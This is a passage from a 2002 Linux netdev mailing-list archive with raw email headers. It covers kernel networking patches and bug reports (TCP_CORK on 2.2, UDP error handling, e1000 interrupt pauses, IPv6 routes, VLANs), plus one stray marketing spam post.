g8UAdqtG005078 for ; Mon, 30 Sep 2002 03:39:53 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id DAA32050; Mon, 30 Sep 2002 03:32:30 -0700 Date: Mon, 30 Sep 2002 03:32:30 -0700 (PDT) Message-Id: <20020930.033230.90062153.davem@redhat.com> To: mbp@samba.org Cc: kuznet@ms2.inr.ac.ru, ak@muc.de, netdev@oss.sgi.com, Alan.Cox@linux.org Subject: Re: FIN_WAIT1 / TCP_CORK / 2.2 -- reproducible bug and test case From: "David S. Miller" In-Reply-To: <20020930095909.GA8063@toey.sourcefrog.net> References: <200209261309.RAA17837@sex.inr.ac.ru> <20020926.134608.31605412.davem@redhat.com> <20020930095909.GA8063@toey.sourcefrog.net> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 425 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Martin Pool Date: Mon, 30 Sep 2002 19:59:10 +1000 On 26 Sep 2002, "David S. Miller" wrote: > Dave, do you not remember this? So where does this leave us? Someone has to agree that the patch should go in. Problem is, at least two of us do not run 2.2.x at all on any of our systems (actually all of my currently powered-on machines aren't even supported in 2.2.x) which makes it hard for us to test this ourselves. From hadi@cyberus.ca Mon Sep 30 04:17:21 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 04:17:27 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UBHLtG006084 for ; Mon, 30 Sep 2002 04:17:21 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id HAA28187; Mon, 30 Sep 2002 07:17:20 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8UBABi14326; Mon, 30 Sep 2002 07:10:11 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Mon, 30 Sep 2002 07:09:56 -0400 (EDT) From: jamal To: Eric Lemoine cc: Subject: Re: udp weirdness In-Reply-To: <20020930084903.GA359@hookipa> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 426 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 30 Sep 2002, Eric Lemoine wrote: > > Ok, understood. Actually we already seem to have enobufs being returned. > > > > Eric, > > Does the attached patch fix it? Not tested or even compiled. > > Someone going to change the manpages? > > protinfo.af_inet.recverr is a flag (1-bit variable) to enable the > "extended reliable error message passing"; I dont see any reason > for modifying it here. Setting this flag is the user's responsability, > isn't it? I dont see any reason for modifying it there either - it is used for mostly for incoming ICMP errors; but the original piece of code was modifying it so i left it as is; however, thats not what you were chasing and i dont see how what you just posted is solving your problem. Did you even bother to test what i sent you? Or for that matter bother testing what you posted? cheers, jamal From hadi@cyberus.ca Mon Sep 30 05:17:47 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 05:17:49 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UCHktG008918 for ; Mon, 30 Sep 2002 05:17:47 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id IAA12420; Mon, 30 Sep 2002 08:17:45 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8UCAbJ14410; Mon, 30 Sep 2002 08:10:37 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Mon, 30 Sep 2002 08:10:37 -0400 (EDT) From: jamal To: Eric Lemoine cc: Eric Lemoine , Subject: Re: udp weirdness In-Reply-To: <20020930084903.GA359@hookipa> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 428 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 30 Sep 2002, Eric Lemoine wrote: > > Ok, understood. Actually we already seem to have enobufs being returned. > > > > Eric, > > Does the attached patch fix it? Not tested or even compiled. > > Someone going to change the manpages? > > protinfo.af_inet.recverr is a flag (1-bit variable) to enable the > "extended reliable error message passing"; I dont see any reason > for modifying it here. Setting this flag is the user's responsability, > isn't it? > Ok, sorry, I didnt realize i was the one setting it; What i meant was to use sk->protinfo.af_inet.recverr only in the case of all is clean from the device layer. i.e do something along the lines of: --- ip_output.c 2002/09/29 08:50:36 1.1 +++ ip_output.c 2002/09/30 06:24:32 @@ -603,8 +603,11 @@ err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, skb->dst->dev, output_maybe_reroute); if (err) { - if (err > 0) - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; + if (err > 0) { + err = net_xmit_errno(err); + if (!err && sk->protinfo.af_inet.recverr) + err = sk->protinfo.af_inet.recverr; + } if (err) goto error; } @@ -713,8 +716,11 @@ err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, rt->u.dst.dev, output_maybe_reroute); - if (err > 0) - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; + if (err > 0) { + err = net_xmit_errno(err); + if (!err && sk->protinfo.af_inet.recverr) + err = sk->protinfo.af_inet.recverr; + } if (err) goto error; out: From alan@lxorguk.ukuu.org.uk Mon Sep 30 05:17:33 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 05:17:34 -0700 (PDT) Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust51.swa.cable.ntl.com [80.5.120.51]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UCHVtG008859 for ; Mon, 30 Sep 2002 05:17:32 -0700 Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1]) by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g8UCN8bg016389; Mon, 30 Sep 2002 13:23:09 +0100 Received: (from alan@localhost) by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g8UCN6EG016387; Mon, 30 Sep 2002 13:23:06 +0100 X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f Subject: Re: FIN_WAIT1 / TCP_CORK / 2.2 -- reproducible bug and test case From: Alan Cox To: Martin Pool Cc: "David S. Miller" , kuznet@ms2.inr.ac.ru, ak@muc.de, netdev@oss.sgi.com, Alan.Cox@linux.org In-Reply-To: <20020930095909.GA8063@toey.sourcefrog.net> References: <20020926054721.GA6039@samba.org> <200209261309.RAA17837@sex.inr.ac.ru> <20020926.134608.31605412.davem@redhat.com> <20020930095909.GA8063@toey.sourcefrog.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 30 Sep 2002 13:23:05 +0100 Message-Id: <1033388585.16337.9.camel@irongate.swansea.linux.org.uk> Mime-Version: 1.0 X-archive-position: 427 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alan@lxorguk.ukuu.org.uk Precedence: bulk X-list: netdev Well if Dave can't test it and isnt doing any 2.2 who wants to be the 2.2 networking maintainer ? From hadi@cyberus.ca Mon Sep 30 05:31:01 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 05:31:03 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UCV1tG009815 for ; Mon, 30 Sep 2002 05:31:01 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id IAA16546; Mon, 30 Sep 2002 08:31:00 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8UCNpI14435; Mon, 30 Sep 2002 08:23:51 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Mon, 30 Sep 2002 08:23:51 -0400 (EDT) From: jamal To: Eric Lemoine cc: Eric Lemoine , Subject: Re: udp weirdness In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 429 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 30 Sep 2002, jamal wrote: > was to use sk->protinfo.af_inet.recverr only in the case of all is > clean from the device layer. Of course if you want to say sk->protinfo.af_inet.recverr is higher priority then the patch becomes;-> --- ip_output.c 2002/09/29 08:50:36 1.1 +++ ip_output.c 2002/09/30 06:38:32 @@ -603,8 +603,9 @@ err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, skb->dst->dev, output_maybe_reroute); if (err) { - if (err > 0) - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; + if (err > 0) { + err = sk->protinfo.af_inet.recverr ? sk->protinfo.af_inet.recverr:net_xmit_errno(err); + } if (err) goto error; } @@ -713,8 +714,9 @@ err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, rt->u.dst.dev, output_maybe_reroute); - if (err > 0) - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; + if (err > 0) { + err = sk->protinfo.af_inet.recverr ? sk->protinfo.af_inet.recverr:net_xmit_errno(err); + } if (err) goto error; out: From ur_business@hotmail.com Mon Sep 30 06:17:28 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 06:17:34 -0700 (PDT) Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UDHRtG011616 for ; Mon, 30 Sep 2002 06:17:28 -0700 Received: from oemcomputer (pcp824791pcs.nrockv01.md.comcast.net [68.50.38.142]) by mtaout03.icomcast.net (iPlanet Messaging Server 5.1 HotFix 1.4 (built Aug 5 2002)) with ESMTP id <0H390059T68X3V@mtaout03.icomcast.net> for netdev@oss.sgi.com; Mon, 30 Sep 2002 09:17:22 -0400 (EDT) Date: Mon, 30 Sep 2002 09:17:21 -0400 From: ur_business@hotmail.com Subject: Quixtar help, from me! To: "netdev@oss.sgi.com" Message-id: <412-220029130131721330@oemcomputer> MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-Priority: 1 X-MSMail-priority: High X-archive-position: 430 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ur_business@hotmail.com Precedence: bulk X-list: netdev Hi, my name is Mike Betancur. I will introduce you to very successful ways !!! ~~QUIXTAR MEMBERSHIP OR BUSINESS~~ What is QUIXSTAR, you ask?? It follows a system that we Leading Independent Business Owners (IBO) from the Britt World wide *TM* Team call, " THE BRITT WORLD WIDE *TM* Business System (BWW *TM*) " Technology is changing everything-from shopping to communications to the world of commerce. Now tap into the technology with a dynamic new way to build an independent business or if you would not like to be independent then you would enjoy the luxury of having all your life essentials and everything you would already be buying at the store, delivered directly to you're home at no cost. Seriously, I will not waist any more of our time if your not interested. After you listen to a full in-depth explanation, you're self will see how close to COMMON sense this is. LIKE I SAID BEFORE, **COMMON SENSE**... YOU'LL BE THE JUDGE. Reply with your full name so I can respond to you with all the information you need to make up your mind. or if not interested in this matter, simply reply with "off" on the subject line. May you have a very successful day, and a happy one at that. From manand@us.ibm.com Mon Sep 30 06:51:10 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 06:51:13 -0700 (PDT) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UDpAtG017953 for ; Mon, 30 Sep 2002 06:51:10 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e5.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g8UDouhG231614; Mon, 30 Sep 2002 09:50:56 -0400 Received: from d03nm123.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by northrelay02.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g8UDosJC022486; Mon, 30 Sep 2002 09:50:54 -0400 Subject: Network interrupt pause problem in 2.5.38 kernel To: , , lse-tech@lists.sourceforge.net Cc: "Bill Hartner" X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: "Mala Anand" Date: Mon, 30 Sep 2002 08:50:55 -0500 X-MIMETrack: Serialize by Router on D03NM123/03/M/IBM(Release 5.0.10 |March 22, 2002) at 09/30/2002 07:50:55 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-archive-position: 431 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: manand@us.ibm.com Precedence: bulk X-list: netdev I am seeing a network interrupt pause problem running Netperf3 on kernel 2.5.38. Netperf3 TCP_STREAM test is run on 1 adapter/ 1 connection configuration using SMP Kernel with maxcpus set to 1. Two 996 MHz Pentium III systems with 4 gig memory/256KB L2 cache Intel Gigabit Ethernet network card one each on server and client 2.5.38 kernel from www.kernel.org. No higmem support is enabled. Intel e1000 driver (the one in the kernel) is used Napi is not enabled. The TCP_STREAM test was run with TCP-NO Deay ON, 64k socket buffer size with a mtu size of 1500. The rest of tcp parameters used are default values. Running tcp_stream test for different message sizes, I noticed that the interrupts are being paused for some of the tests. I ran 8 message size and the following vmstat data for every 4 seconds show that interrupts are paused occasinally during the test. The test was run for 60 seconds and vmstat was collected for every 4 seconds. The vmstat log was edited to remove the first entry of the run. The following vmstat is from the server and client for 2k and 4k message sizes: message size: 2k Throughput: 585.9 Mbits/sec --------------------------------------------- SERVER: procs memory swap io system cpu r b w swpd free buff cache si so bi bo in cs us sy id 1 0 1 0 575580 108248 34136 0 0 0 20 55357 20 2 98 0 1 0 1 0 575568 108256 34136 0 0 0 4 55621 19 2 98 0 1 0 0 0 575576 108256 34136 0 0 0 0 55533 17 2 98 0 1 0 1 0 575564 108264 34136 0 0 0 4 18424 11 1 33 67 *** 1 0 1 0 575556 108272 34136 0 0 0 4 53502 19 2 99 0 1 0 1 0 575544 108280 34136 0 0 0 4 53455 20 2 98 0 1 0 1 0 575532 108288 34136 0 0 0 4 53513 19 2 98 0 1 0 1 0 575528 108288 34136 0 0 0 0 53507 16 2 98 0 1 0 1 0 575516 108296 34136 0 0 0 23 53510 19 2 98 0 1 0 1 0 575524 108304 34140 0 0 0 8 53422 18 2 98 0 1 0 1 0 575512 108312 34140 0 0 0 4 53511 19 2 98 0 1 0 1 0 575500 108320 34140 0 0 0 4 53445 19 2 98 0 1 0 1 0 575496 108320 34140 0 0 0 0 52943 16 2 98 0 1 0 1 0 575484 108328 34140 0 0 0 4 53404 19 2 98 0 Message size:2k --------------- CLIENT vmstat: procs memory swap io system cpu r b w swpd free buff cache si so bi bo in cs us sy id 1 0 0 0 773888 34492 35224 0 0 0 0 19906 1322 2 59 39 1 0 1 0 773876 34500 35224 0 0 0 4 20035 1306 2 58 40 1 0 0 0 773868 34508 35224 0 0 0 4 19928 1297 2 62 36 1 0 0 0 773856 34516 35224 0 0 0 4 8977 452 1 28 72 *** 1 0 0 0 773860 34524 35224 0 0 0 4 25267 1333 2 89 9 1 0 0 0 773856 34524 35224 0 0 0 0 25197 1313 2 80 18 1 0 0 0 773844 34532 35224 0 0 0 4 25223 1372 2 81 17 1 0 1 0 773836 34540 35224 0 0 0 4 25233 1334 2 89 9 1 0 0 0 773824 34548 35224 0 0 0 4 25261 1351 2 78 21 1 0 1 0 773808 34556 35228 0 0 0 8 25218 1362 3 85 12 1 0 1 0 773804 34556 35228 0 0 0 0 25250 1331 2 85 13 1 0 0 0 773812 34564 35228 0 0 0 4 25208 1289 2 78 20 1 0 1 0 773804 34572 35228 0 0 0 4 24982 1328 2 86 12 1 0 1 0 773792 34580 35228 0 0 0 4 25206 1360 2 82 16 message size:4k throughput: 574.5 Mbits/sec -------------------------------------------- SERVER: procs memory swap io system cpu r b w swpd free buff cache si so bi bo in cs us sy id 1 0 1 0 574940 108556 34144 0 0 0 23 58303 20 1 99 0 1 0 1 0 574928 108564 34144 0 0 0 23 58303 19 1 99 0 0 0 0 0 574924 108564 34144 0 0 0 0 40233 14 1 68 32 0 0 0 0 574912 108572 34144 0 0 0 4 1002 6 0 0 100 *** 1 0 1 0 574904 108576 34148 0 0 0 4 36228 12 1 63 37 1 0 1 0 574896 108580 34148 0 0 0 8 56477 19 1 99 0 1 0 1 0 574908 108588 34148 0 0 0 4 56311 19 1 99 0 1 0 1 0 574904 108588 34148 0 0 0 0 55842 16 1 99 0 1 0 1 0 574892 108596 34148 0 0 0 4 56315 19 1 99 0 1 0 1 0 574884 108604 34148 0 0 0 4 56381 19 1 99 0 1 0 1 0 574872 108612 34148 0 0 0 7 56352 19 1 99 0 1 0 0 0 574860 108620 34148 0 0 0 4 56392 19 1 99 0 1 0 1 0 574856 108620 34148 0 0 0 0 56387 16 1 99 0 1 0 1 0 574864 108628 34148 0 0 0 4 56326 19 1 99 0 message size4k -------------- CLIENT procs memory swap io system cpu r b w swpd free buff cache si so bi bo in cs us sy id 1 0 0 0 773448 34908 35236 0 0 0 0 16566 1532 1 60 39 1 0 0 0 773420 34916 35236 0 0 0 4 16508 1553 1 52 46 0 0 0 0 773352 34924 35236 0 0 0 4 10620 965 0 36 64 0 0 0 0 773340 34932 35236 0 0 0 39 1010 5 0 0 100 *** 1 0 0 0 773408 34940 35240 0 0 0 4 14732 1121 1 56 44 1 0 0 0 773404 34940 35240 0 0 0 0 20551 1597 1 80 19 1 0 0 0 773392 34948 35240 0 0 0 8 20492 1608 1 82 16 1 0 0 0 773384 34956 35240 0 0 0 4 20432 1675 1 76 22 1 0 0 0 773396 34964 35240 0 0 0 4 20544 1608 1 78 21 1 0 0 0 773384 34972 35240 0 0 0 4 20551 1595 1 82 16 1 0 0 0 773380 34972 35240 0 0 0 0 20554 1615 1 78 21 1 0 0 0 773368 34980 35240 0 0 0 4 20526 1598 2 80 19 1 0 0 0 773360 34988 35240 0 0 0 7 20578 1602 1 80 19 1 0 0 0 773348 34996 35240 0 0 0 4 20529 1604 1 79 20 I have seen the number of interrupts go down moderately (10-20%) on 2.5.33 kernel during tcp_stream test. But only on 2.5.38 I see interrupts pausing as shown in the above (***) vmstat data.Out of 3 runs for each message size I see this problem 2 times mostly. I have not tested on other kernels, however I have not seen this problem in 2.5.32. Has anyone seen this problem. Regards, Mala Mala Anand IBM Linux Technology Center - Kernel Performance E-mail:manand@us.ibm.com http://www-124.ibm.com/developerworks/opensource/linuxperf http://www-124.ibm.com/developerworks/projects/linuxperf Phone:838-8088; Tie-line:678-8088 From kuznet@ms2.inr.ac.ru Mon Sep 30 07:58:09 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 07:58:13 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UEw6tG020678 for ; Mon, 30 Sep 2002 07:58:07 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id SAA15178; Mon, 30 Sep 2002 18:56:36 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209301456.SAA15178@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Default Route Support on Router To: davem@redhat.com (David S. Miller) Date: Mon, 30 Sep 2002 18:56:36 +0400 (MSD) Cc: yoshfuji@linux-ipv6.ORG, netdev@oss.sgi.com In-Reply-To: <20020928.231915.113302934.davem@redhat.com> from "David S. Miller" at Sep 28, 2 11:19:15 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 432 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > Oh I see... perhaps you imply I should destroy CONFIG_RT6_POLICY > remnants as well? :-) Yes, the bits in route.c must be killed. But I would prefer to preserve subtrees support in ip6_fib.c. It is... well, it really constrains hacking, but in a useful manner, not allowing to forget that a radix node may open second level lookup. Alexey From kuznet@ms2.inr.ac.ru Mon Sep 30 08:44:41 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 08:44:45 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UFidtG027399 for ; Mon, 30 Sep 2002 08:44:39 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id TAA15388; Mon, 30 Sep 2002 19:43:05 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209301543.TAA15388@sex.inr.ac.ru> Subject: Re: netlink sockets and rtm_newlink messages To: hadi@cyberus.ca (jamal) Date: Mon, 30 Sep 2002 19:43:05 +0400 (MSD) Cc: mcmanus@ducksong.COM, netdev@oss.sgi.com In-Reply-To: from "jamal" at Sep 29, 2 11:09:10 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 433 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > So that you dont forget, heres the patch: Thanks. Indeed, you ar right, I have already forgotten this. :-) > Wouldnt that spot be the best for NETDEV_UP/DOWN since thats the notifier > callback? It was moved out of there to support ifa_change bits. But apparently I have made copy instead of move. > Also, can you remind me what if_change was for? netcarrier events? ifa_change was for unimplemented control part to allow atomic changes of state not affecting another flags. Someone spotted that it would be convenient to have this flag set valid in all the kinds of RTM_NEWLINK messages. Alexey From dave_santucci@vivato.net Mon Sep 30 08:56:14 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 08:56:20 -0700 (PDT) Received: from exchange.mabuhay ([216.222.89.136]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UFuDtG027842 for ; Mon, 30 Sep 2002 08:56:14 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: [VLAN] VLAN patches X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Mon, 30 Sep 2002 08:55:59 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [VLAN] VLAN patches Thread-Index: AcJoXWiX3tqPOJn/Tnav5xt9GwarYwAO/pkQ From: "Dave Santucci" To: , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g8UFuDtG027842 X-archive-position: 434 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dave_santucci@vivato.net Precedence: bulk X-list: netdev Bjorn Since the data type for the vlan_id is specified as an "unsigned short", The comparison (vlan_id < 0) will always be false due to the range of the data type. -ds -----Original Message----- From: Andersson Björn [mailto:Bjorn.Andersson@ebc.ericsson.se] Sent: Monday, September 30, 2002 1:24 AM To: netdev@oss.sgi.com Subject: [VLAN] VLAN patches Hi, I hope you are the right receiver of 8021q-patches. We are running SuSe 8.0, i.e kernel 2.4.18. - When addding several egress-mappings we get stuck in an eternal loop if they end up in the same hash-bucket, see vlan_dev.c.path. - If we try to remove a vlan with VID 0, ifconfig stops working completly. We fixed it with vlan.c.patch. -- * Björn Andersson bjorn.andersson@ebc.ericsson.se * * Ericsson Enterprise AB NA/EBC/BEES/DNCC * * Nacka Strand tel: +46-8-422 3512 * * 13 189 Stockholm, Sweden fax: +46-8-422 1010 * From greearb@candelatech.com Mon Sep 30 09:02:29 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 09:02:32 -0700 (PDT) Received: from grok.yi.org (IDENT:UfHIRJewA8cK8lzPcy16hQNtLiHFuUJT@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UG2StG028301 for ; Mon, 30 Sep 2002 09:02:28 -0700 Received: from candelatech.com (IDENT:y+2pW6KF0vlQiKnMN3su0x3RcJl9Uztl@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8UG21v23048; Mon, 30 Sep 2002 09:02:05 -0700 Message-ID: <3D987579.6060503@candelatech.com> Date: Mon, 30 Sep 2002 09:02:01 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Matti Aarnio CC: =?ISO-8859-1?Q?Andersson_Bj=F6rn?= , netdev@oss.sgi.com Subject: Re: [VLAN] VLAN patches References: <3D980A10.8B06F2C2@ebc.ericsson.se> <20020930085229.GT30392@mea-ext.zmailer.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-MIME-Autoconverted: from 8bit to quoted-printable by grok.yi.org id g8UG21v23048 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g8UG2StG028301 X-archive-position: 435 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Matti Aarnio wrote: > On Mon, Sep 30, 2002 at 10:23:44AM +0200, Andersson Björn wrote: > >>Hi, >>I hope you are the right receiver of 8021q-patches. >>We are running SuSe 8.0, i.e kernel 2.4.18. > > > NETDEV isn't right place. I resent your letter to: > vlan@Scry.WANfear.com > > (which is strictly posting-by-subscribers-only / others-via-moderator > list...) It is nice to get VLAN questions and patches to the vlan list, but I see no reason to restrict patches to that list. Dave is doing a lot of the VLAN patching and up-keep these days, and I'm not even sure he reads the vlan list.... So, I personally would be happy to have patches sent to the vlan list, and cc'd to netdev and/or lkml. Questions about using/configuring vlans should most likely remain on the vlan mailing list though... Thanks, Ben > > >>-- >>* Björn Andersson bjorn.andersson@ebc.ericsson.se * > > > /Matti Aarnio > > -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From greearb@candelatech.com Mon Sep 30 09:19:44 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 09:19:46 -0700 (PDT) Received: from grok.yi.org (IDENT:4dr/6/Y4x8sr+XDaWGrgFpQtgMYda49H@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UGJhtG028824 for ; Mon, 30 Sep 2002 09:19:44 -0700 Received: from candelatech.com (IDENT:0djxlCP+251aJranLR3rqZBFfEXVgdXV@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8UGJdv25266; Mon, 30 Sep 2002 09:19:39 -0700 Message-ID: <3D98799B.9060008@candelatech.com> Date: Mon, 30 Sep 2002 09:19:39 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: vlan@Scry.WANfear.com CC: netdev@oss.sgi.com Subject: Re: [VLAN] VLAN patches References: Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-MIME-Autoconverted: from 8bit to quoted-printable by grok.yi.org id g8UGJdv25266 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g8UGJhtG028824 X-archive-position: 436 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Dave Santucci wrote: > Bjorn > Since the data type for the vlan_id is specified as an "unsigned short", > The comparison (vlan_id < 0) will always be false due to the range of the data > type. > > -ds > > > -----Original Message----- > From: Andersson Björn [mailto:Bjorn.Andersson@ebc.ericsson.se] > Sent: Monday, September 30, 2002 1:24 AM > To: netdev@oss.sgi.com > Subject: [VLAN] VLAN patches > > Hi, > I hope you are the right receiver of 8021q-patches. > We are running SuSe 8.0, i.e kernel 2.4.18. > > - When addding several egress-mappings we get stuck in an eternal > loop if they end up in the same hash-bucket, see vlan_dev.c.path. > > - If we try to remove a vlan with VID 0, ifconfig stops working > completly. > We fixed it with vlan.c.patch. Is there any reason to ever let someone add a VLAN of ID 0 in the first place? Ben > > -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From 